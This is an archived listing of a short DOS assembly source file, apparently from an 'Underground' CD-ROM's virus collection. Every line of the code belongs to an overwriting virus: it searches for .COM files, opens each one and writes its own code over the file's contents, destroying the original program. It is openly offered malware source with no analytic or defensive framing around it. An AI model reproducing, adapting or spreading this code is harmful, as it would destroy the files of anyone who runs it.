home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow3.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  484 b   |  18 lines
  1. Main:           Mov Ah,4eh
  2. On2:            Lea Dx,FileSpec
  3.                 Int 21h
  4.                 jc on1
  5.                 Mov Ah,3dh
  6.                 inc ax
  7.                 Mov Dx,9eh
  8.                 Int 21h
  9.                 Mov Bh,40h
  10.                 Xchg Ax,Bx
  11.                 Lea Dx,Main
  12.                 Mov Cl,Length
  13.                 Int 21h
  14.                 Mov Ah,4fh
  15. On1:            Jmp On2
  16. FileSpec        Db '*.COM',0
  17. Length          Equ $-Main
  18.